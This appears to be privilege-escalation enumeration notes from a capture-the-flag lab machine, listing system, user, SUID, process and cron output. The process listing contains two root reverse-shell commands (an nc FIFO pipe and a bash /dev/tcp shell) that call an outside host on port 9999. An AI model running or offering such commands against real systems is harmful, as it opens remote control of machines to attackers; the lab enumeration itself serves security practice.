System/Kernel


michael@sightless:~$ file /bin/bash ; uname -a ; cat /etc/*release
/bin/bash: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7a6408ba82a2d86dd98f1f75ac8edcb695f6fd60, for GNU/Linux 3.2.0, stripped
Linux sightless 5.15.0-119-generic #129-Ubuntu SMP Fri Aug 2 19:25:20 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.04
DISTRIB_CODENAME=jammy
DISTRIB_DESCRIPTION="Ubuntu 22.04.4 LTS"
PRETTY_NAME="Ubuntu 22.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.4 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

64-bit Ubuntu 22.04.4 LTS (Jammy Jellyfish) 5.15.0-119-generic

Networks


michael@sightless:~$ ip route ; arp -a
default via 10.129.0.1 dev eth0 
10.129.0.0/16 dev eth0 proto kernel scope link src 10.129.206.178 
172.17.0.0/16 dev docker0 proto kernel scope link src 172.17.0.1 
? (10.129.0.1) at 00:50:56:94:39:11 [ether] on eth0
? (172.17.0.2) at 02:42:ac:11:00:02 [ether] on docker0
michael@sightless:~$ netstat -antup4 | grep -i LIST
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:36461         0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:47703         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:43193         0.0.0.0:*               LISTEN      -                   

127.0.0.1:8080 127.0.0.1:33060

Users & Groups


michael@sightless:~$ cat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
michael:x:1000:1000:michael:/home/michael:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
mysql:x:115:120:MySQL Server,,,:/nonexistent:/bin/false
proftpd:x:116:65534::/run/proftpd:/usr/sbin/nologin
ftp:x:117:65534::/srv/ftp:/usr/sbin/nologin
john:x:1001:1001:,,,:/home/john:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
total 16
drwxr-xr-x  4 root    root    4096 May 15 19:03 ./
drwxr-xr-x 18 root    root    4096 Sep  3 08:20 ../
drwxr-x---  4 john    john    4096 Aug  9 11:31 john/
drwxr-x---  3 michael michael 4096 Jul 31 13:15 michael/

john

michael@sightless:~$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=101(systemd-network) gid=102(systemd-network) groups=102(systemd-network)
uid=102(systemd-resolve) gid=103(systemd-resolve) groups=103(systemd-resolve)
uid=103(messagebus) gid=104(messagebus) groups=104(messagebus)
uid=104(systemd-timesync) gid=105(systemd-timesync) groups=105(systemd-timesync)
uid=105(pollinate) gid=1(daemon) groups=1(daemon)
uid=106(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=107(syslog) gid=113(syslog) groups=113(syslog),4(adm)
uid=108(uuidd) gid=114(uuidd) groups=114(uuidd)
uid=109(tcpdump) gid=115(tcpdump) groups=115(tcpdump)
uid=110(tss) gid=116(tss) groups=116(tss)
uid=111(landscape) gid=117(landscape) groups=117(landscape)
uid=112(fwupd-refresh) gid=118(fwupd-refresh) groups=118(fwupd-refresh)
uid=113(usbmux) gid=46(plugdev) groups=46(plugdev)
uid=1000(michael) gid=1000(michael) groups=1000(michael)
uid=999(lxd) gid=100(users) groups=100(users)
uid=114(dnsmasq) gid=65534(nogroup) groups=65534(nogroup)
uid=115(mysql) gid=120(mysql) groups=120(mysql)
uid=116(proftpd) gid=65534(nogroup) groups=65534(nogroup)
uid=117(ftp) gid=65534(nogroup) groups=65534(nogroup)
uid=1001(john) gid=1001(john) groups=1001(john),27(sudo)
uid=998(_laurel) gid=998(_laurel) groups=998(_laurel)

uid=1000(michael) gid=1000(michael) groups=1000(michael) uid=1001(john) gid=1001(john) groups=1001(john),27(sudo)

SUIDs


michael@sightless:~$ find / -perm -04000 -ls -type f 2>/dev/null
   426161    208 -rwsr-xr-x   1 root     root       212600 May 14 22:24 /opt/google/chrome/chrome-sandbox
     9242     48 -rwsr-xr-x   1 root     root        47488 Apr  9 15:32 /usr/bin/mount
     9614     44 -rwsr-xr-x   1 root     root        44808 Feb  6  2024 /usr/bin/chsh
      637    228 -rwsr-xr-x   1 root     root       232416 Apr  3  2023 /usr/bin/sudo
      309     56 -rwsr-xr-x   1 root     root        55680 Apr  9 15:32 /usr/bin/su
     9618     72 -rwsr-xr-x   1 root     root        72072 Feb  6  2024 /usr/bin/gpasswd
      693     36 -rwsr-xr-x   1 root     root        35200 Mar 23  2022 /usr/bin/fusermount3
     9613     72 -rwsr-xr-x   1 root     root        72712 Feb  6  2024 /usr/bin/chfn
    18429     40 -rwsr-xr-x   1 root     root        40496 Feb  6  2024 /usr/bin/newgrp
     9619     60 -rwsr-xr-x   1 root     root        59976 Feb  6  2024 /usr/bin/passwd
     9503     36 -rwsr-xr-x   1 root     root        35200 Apr  9 15:32 /usr/bin/umount
    12766     20 -rwsr-xr-x   1 root     root        18736 Feb 26  2022 /usr/libexec/polkit-agent-helper-1
    21855    332 -rwsr-xr-x   1 root     root       338536 Jun 26 13:11 /usr/lib/openssh/ssh-keysign
     1406     36 -rwsr-xr--   1 root     messagebus    35112 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper

/opt/google/chrome/chrome-sandbox

SGIDs


michael@sightless:~$ find / -perm -02000 -ls -type f 2>/dev/null
      750      0 drwxr-sr-x   2 root     systemd-journal       40 Sep  5 10:56 /run/log/journal
   262646      4 drwxr-sr-x   3 root     systemd-journal     4096 May 15 03:42 /var/log/journal
   393700      4 drwxr-sr-x   2 root     systemd-journal     4096 Sep  3 11:52 /var/log/journal/58de6fa49b4f4590a31b308f73d3bd9a
   262154      4 drwxrwsr-x   2 root     staff               4096 Apr 18  2022 /var/local
   262156      4 drwxrwsr-x   2 root     mail                4096 Feb 17  2023 /var/mail
    21763    288 -rwxr-sr-x   1 root     _ssh              293304 Jun 26 13:11 /usr/bin/ssh-agent
     9615     24 -rwxr-sr-x   1 root     shadow             23136 Feb  6  2024 /usr/bin/expiry
      609     40 -rwxr-sr-x   1 root     crontab            39568 Mar 23  2022 /usr/bin/crontab
     9610     72 -rwxr-sr-x   1 root     shadow             72184 Feb  6  2024 /usr/bin/chage
    32536      4 drwxrwsr-x   2 root     staff               4096 Aug  9 11:17 /usr/local/share/fonts
     1292     24 -rwxr-sr-x   1 root     shadow             22680 Jan 10  2024 /usr/sbin/pam_extrausers_chkpwd
    10533     28 -rwxr-sr-x   1 root     shadow             26776 Jan 10  2024 /usr/sbin/unix_chkpwd
    12616     16 -rwxr-sr-x   1 root     utmp               14488 Mar 24  2022 /usr/lib/x86_64-linux-gnu/utempter/utempter

Processes


hael@sightless:~$ ps -auxwww
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.2 166256 11604 ?        Ss   Sep05   0:06 /sbin/init
root         524  0.0  3.9 223644 155784 ?       S<s  Sep05   0:31 /lib/systemd/systemd-journald
root         561  0.0  0.6 289352 27100 ?        SLsl Sep05   0:13 /sbin/multipathd -d -s
root         564  0.0  0.1  26528  7128 ?        Ss   Sep05   0:00 /lib/systemd/systemd-udevd
systemd+     590  0.0  0.2  16256  8104 ?        Ss   Sep05   0:01 /lib/systemd/systemd-networkd
systemd+     758  0.0  0.3  26088 14016 ?        Ss   Sep05   0:11 /lib/systemd/systemd-resolved
systemd+     759  0.0  0.1  89364  6544 ?        Ssl  Sep05   0:07 /lib/systemd/systemd-timesyncd
root         762  0.0  0.0  85228  2276 ?        S<sl Sep05   0:01 /sbin/auditd
_laurel      765  0.0  0.1   9984  6092 ?        S<   Sep05   0:01 /usr/local/sbin/laurel --config /etc/laurel/config.toml
root         777  0.0  0.3  51148 11916 ?        Ss   Sep05   0:00 /usr/bin/VGAuthService
root         779  0.0  0.2 242348 10368 ?        Ssl  Sep05   2:34 /usr/bin/vmtoolsd
root         800  0.0  0.1 101244  5888 ?        Ssl  Sep05   0:00 /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
message+     834  0.0  0.1   8888  5100 ?        Ss   Sep05   0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root         846  0.0  0.0  82832  3956 ?        Ssl  Sep05   0:08 /usr/sbin/irqbalance --foreground
root         848  0.0  0.4  32772 19436 ?        Ss   Sep05   0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root         850  0.0  0.1 234512  6840 ?        Ssl  Sep05   0:00 /usr/libexec/polkitd --no-debug
syslog       851  0.0  0.1 222404  6196 ?        Ssl  Sep05   0:04 /usr/sbin/rsyslogd -n -iNONE
root         852  0.0  0.1  15340  7620 ?        Ss   Sep05   0:00 /lib/systemd/systemd-logind
root         853  0.0  0.3 392596 12444 ?        Ssl  Sep05   0:00 /usr/libexec/udisks2/udisksd
root         884  0.0  0.3 317968 11984 ?        Ssl  Sep05   0:00 /usr/sbin/ModemManager
root        1129  0.0  0.0   6896  2888 ?        Ss   Sep05   0:00 /usr/sbin/cron -f -P
root        1140  0.0  1.1 1800788 47380 ?       Ssl  Sep05   1:10 /usr/bin/containerd
root        1160  0.0  0.1  10344  4140 ?        S    Sep05   0:00 /usr/sbin/CRON -f -P
root        1161  0.0  0.1  10344  4140 ?        S    Sep05   0:00 /usr/sbin/CRON -f -P
root        1166  0.0  0.0   6176  1080 tty1     Ss+  Sep05   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root        1175  0.0  0.2  15432  9100 ?        Ss   Sep05   0:24 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
john        1176  0.0  0.0   2892   972 ?        Ss   Sep05   0:00 /bin/sh -c sleep 140 && /home/john/automation/healthcheck.sh
john        1177  0.0  0.0   2892   944 ?        Ss   Sep05   0:00 /bin/sh -c sleep 110 && /usr/bin/python3 /home/john/automation/administration.py
root        1181  0.0  0.0  55228  1724 ?        Ss   Sep05   0:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
www-data    1182  0.0  0.1  55896  6472 ?        S    Sep05   0:03 nginx: worker process
www-data    1183  0.0  0.1  56036  6468 ?        S    Sep05   0:04 nginx: worker process
root        1188  0.0  0.7 225524 30100 ?        Ss   Sep05   0:07 /usr/sbin/apache2 -k start
mysql       1194  0.5 10.7 1823976 425904 ?      Ssl  Sep05  20:02 /usr/sbin/mysqld
root        1198  0.0  1.8 2051668 74024 ?       Ssl  Sep05   0:17 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
proftpd     1216  0.0  0.1  30616  7060 ?        SLs  Sep05   0:05 proftpd: (accepting connections)
root        1415  0.0  0.0 1671944 2972 ?        Sl   Sep05   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 3000 -container-ip 172.17.0.2 -container-port 3000
root        1449  0.0  0.3 1238144 12196 ?       Sl   Sep05   0:28 /usr/bin/containerd-shim-runc-v2 -namespace moby -id c184118df0a6eb770d018766ef8e32c948924b0ba77d85ec04a32e50cbafcb3a -address /run/containerd/containerd.sock
root        1471  0.0  3.4 988184 136428 ?       Ssl  Sep05   0:09 node /usr/app/server.js
john        1531  0.0  0.6  33660 24740 ?        S    Sep05   1:36 /usr/bin/python3 /home/john/automation/administration.py
john        1532  0.2  0.3 33630172 15568 ?      Sl   Sep05   9:29 /home/john/automation/chromedriver --port=47703
john        1537  0.0  0.0      0     0 ?        Z    Sep05   0:00 [chromedriver] <defunct>
john        1543  0.4  2.8 34011320 113360 ?     Sl   Sep05  16:09 /opt/google/chrome/chrome --allow-pre-commit-input --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-dev-shm-usage --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-logging --headless --log-level=0 --no-first-run --no-sandbox --no-service-autorun --password-store=basic --remote-debugging-port=0 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.org.chromium.Chromium.ivRvd2 data:,
john        1545  0.0  0.0 33575860 3036 ?       Sl   Sep05   0:00 /opt/google/chrome/chrome_crashpad_handler --monitor-self-annotation=ptype=crashpad-handler --database=/tmp/Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=lsb-release=Ubuntu 22.04.4 LTS --annotation=plat=Linux --annotation=prod=Chrome_Headless --annotation=ver=125.0.6422.60 --initial-client-fd=6 --shared-client-connection
john        1549  0.0  1.4 34112456 56172 ?      S    Sep05   0:00 /opt/google/chrome/chrome --type=zygote --no-zygote-sandbox --no-sandbox --enable-logging --headless --log-level=0 --headless --crashpad-handler-pid=1545 --enable-crash-reporter
john        1550  0.0  1.4 34112456 56892 ?      S    Sep05   0:00 /opt/google/chrome/chrome --type=zygote --no-sandbox --enable-logging --headless --log-level=0 --headless --crashpad-handler-pid=1545 --enable-crash-reporter
john        1566  0.2  3.2 34363120 127068 ?     Sl   Sep05   9:55 /opt/google/chrome/chrome --type=gpu-process --no-sandbox --disable-dev-shm-usage --headless --ozone-platform=headless --use-angle=swiftshader-webgl --headless --crashpad-handler-pid=1545 --gpu-preferences=WAAAAAAAAAAgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --shared-files --fie
john        1567  0.1  2.2 33900068 87672 ?      Sl   Sep05   3:47 /opt/google/chrome/chrome --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --disable-dev-shm-usage --use-angle=swiftshader-webgl --use-gl=angle --headless --crashpad-handler-pid=1545 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=3,i,6552480941371579992,14486465400447070809,262144 --disable-features=PaintHolding --variations-seed-version --enable-logging --log-level=0 --enable-crash-reporter
john        1595  2.2  4.6 1186800240 184848 ?   Sl   Sep05  78:18 /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=1545 --no-sandbox --disable-dev-shm-usage --enable-automation --remote-debugging-port=0 --test-type=webdriver --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1725533766314126 --launc
john        1647  0.0  0.0   7372  3588 ?        S    Sep05   0:02 /bin/bash /home/john/automation/healthcheck.sh
root        9855  0.0  0.2 239656  8920 ?        Ssl  Sep05   0:00 /usr/libexec/upowerd
www-data   56636  0.1  0.8 227784 31880 ?        S    00:00   1:22 /usr/sbin/apache2 -k start
www-data   56637  0.1  0.7 227788 30796 ?        S    00:00   1:22 /usr/sbin/apache2 -k start
www-data   56638  0.1  0.7 301520 30596 ?        S    00:00   1:21 /usr/sbin/apache2 -k start
www-data   56639  0.1  0.7 227788 29656 ?        S    00:00   1:22 /usr/sbin/apache2 -k start
www-data   56640  0.1  0.7 301524 30980 ?        S    00:00   1:19 /usr/sbin/apache2 -k start
www-data   56641  0.1  0.7 227788 29656 ?        S    00:00   1:21 /usr/sbin/apache2 -k start
www-data   64128  0.1  0.7 227792 29684 ?        S    05:01   1:01 /usr/sbin/apache2 -k start
root      101360  0.0  0.0   2392   760 ?        S    19:43   0:00 /bin/sh -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.15.34 9999 >/tmp/f
root      101369  0.0  0.0   2304   680 ?        S    19:43   0:00 cat /tmp/f
root      102538  0.0  0.0   2392   760 ?        S    20:24   0:00 /bin/sh -c bash -c "bash -i >& /dev/tcp/10.10.15.34/9999 0>&1"
root      102539  0.0  0.0   3740  2936 ?        S    20:24   0:00 bash -c bash -i >& /dev/tcp/10.10.15.34/9999 0>&1
root      102540  0.0  0.0   3872  3280 ?        S    20:24   0:00 bash -i
root      111894  0.0  0.2  17148 10908 ?        Ss   20:42   0:00 sshd: michael [priv]
michael   111901  0.0  0.2  17084  9808 ?        Ss   20:42   0:00 /lib/systemd/systemd --user
michael   111902  0.0  0.0 169308  3884 ?        S    20:42   0:00 (sd-pam)
michael   111908  0.0  0.2  17148  7976 ?        S    20:42   0:00 sshd: michael@pts/0
michael   111909  0.0  0.1   8780  5388 pts/0    Ss   20:42   0:00 -bash
john      112089  0.0  0.0   5772  1024 ?        S    20:47   0:00 sleep 60
michael   112108  0.0  0.0  10336  3792 pts/0    R+   20:48   0:00 ps -auxwww
  • /usr/libexec/polkitd --no-debug
  • /usr/sbin/cron -f -P
  • /usr/bin/containerd
  • /bin/sh -c sleep 140 && /home/john/automation/healthcheck.sh
  • /bin/sh -c sleep 110 && /usr/bin/python3 /home/john/automation/administration.py
  • /opt/google/chrome/chrome --allow-pre-commit-input --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-dev-shm-usage --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-logging --headless --log-level=0 --no-first-run --no-sandbox --no-service-autorun --password-store=basic --remote-debugging-port=0 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.org.chromium.Chromium.ivRvd2 data:,
  • /opt/google/chrome/chrome_crashpad_handler --monitor-self-annotation=ptype=crashpad-handler --database=/tmp/Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=lsb-release=Ubuntu 22.04.4 LTS --annotation=plat=Linux --annotation=prod=Chrome_Headless --annotation=ver=125.0.6422.60 --initial-client-fd=6 --shared-client-connection
  • /opt/google/chrome/chrome --type=zygote --no-zygote-sandbox --no-sandbox --enable-logging --headless --log-level=0 --headless --crashpad-handler-pid=1545 --enable-crash-reporter
  • /opt/google/chrome/chrome --type=zygote --no-sandbox --enable-logging --headless --log-level=0 --headless --crashpad-handler-pid=1545 --enable-crash-reporter
  • /opt/google/chrome/chrome --type=gpu-process --no-sandbox --disable-dev-shm-usage --headless --ozone-platform=headless --use-angle=swiftshader-webgl --headless --crashpad-handler-pid=1545 --gpu-preferences=WAAAAAAAAAAgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --shared-files --fie
  • /opt/google/chrome/chrome --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --disable-dev-shm-usage --use-angle=swiftshader-webgl --use-gl=angle --headless --crashpad-handler-pid=1545 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=3,i,6552480941371579992,14486465400447070809,262144 --disable-features=PaintHolding --variations-seed-version --enable-logging --log-level=0 --enable-crash-reporter
  • /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=1545 --no-sandbox --disable-dev-shm-usage --enable-automation --remote-debugging-port=0 --test-type=webdriver --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1725533766314126 --launc
  • /bin/bash /home/john/automation/healthcheck.sh

Cron & Systemd


michael@sightless:~$ crontab -l ; cat /etc/crontab ; systemctl list-timers
no crontab for michael
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
 
SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
 
# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
NEXT                        LEFT          LAST                        PASSED        UNIT                           ACTIVATES           >
Sat 2024-09-07 21:09:00 UTC 15min left    Sat 2024-09-07 20:39:09 UTC 14min ago     phpsessionclean.timer          phpsessionclean.serv>
Sat 2024-09-07 21:33:05 UTC 39min left    Sat 2024-09-07 12:10:25 UTC 8h ago        fwupd-refresh.timer            fwupd-refresh.service
Sun 2024-09-08 00:00:00 UTC 3h 6min left  Sat 2024-09-07 00:00:01 UTC 20h ago       dpkg-db-backup.timer           dpkg-db-backup.servi>
Sun 2024-09-08 00:00:00 UTC 3h 6min left  Sat 2024-09-07 00:00:01 UTC 20h ago       logrotate.timer                logrotate.service
Sun 2024-09-08 01:47:30 UTC 4h 54min left Sat 2024-09-07 07:19:30 UTC 13h ago       man-db.timer                   man-db.service
Sun 2024-09-08 03:10:33 UTC 6h left       Tue 2024-09-03 08:18:45 UTC 4 days ago    e2scrub_all.timer              e2scrub_all.service
Sun 2024-09-08 03:31:28 UTC 6h left       Sat 2024-09-07 17:01:10 UTC 3h 51min ago  motd-news.timer                motd-news.service
Sun 2024-09-08 06:09:49 UTC 9h left       Sat 2024-09-07 06:01:06 UTC 14h ago       apt-daily-upgrade.timer        apt-daily-upgrade.se>
Sun 2024-09-08 11:01:22 UTC 14h left      Sat 2024-09-07 11:01:22 UTC 9h ago        update-notifier-download.timer update-notifier-down>
Sun 2024-09-08 11:11:32 UTC 14h left      Sat 2024-09-07 11:11:32 UTC 9h ago        systemd-tmpfiles-clean.timer   systemd-tmpfiles-cle>
Sun 2024-09-08 13:51:45 UTC 16h left      Sat 2024-09-07 19:25:28 UTC 1h 27min ago  apt-daily.timer                apt-daily.service
Mon 2024-09-09 00:56:27 UTC 1 day 4h left Tue 2024-09-03 11:54:07 UTC 4 days ago    fstrim.timer                   fstrim.service
Sat 2024-09-14 17:04:52 UTC 6 days left   Fri 2024-09-06 04:59:58 UTC 1 day 15h ago update-notifier-motd.timer     update-notifier-motd>
 
13 timers listed.
Pass --all to see loaded but inactive timers, too.

Sudo Version


michael@sightless:~$ sudo --version
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9

Sudo version 1.9.9

Glibc Version


michael@sightless:~$ ldd --version
ldd (Ubuntu GLIBC 2.35-0ubuntu3.8) 2.35
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

ldd (Ubuntu GLIBC 2.35-0ubuntu3.8) 2.35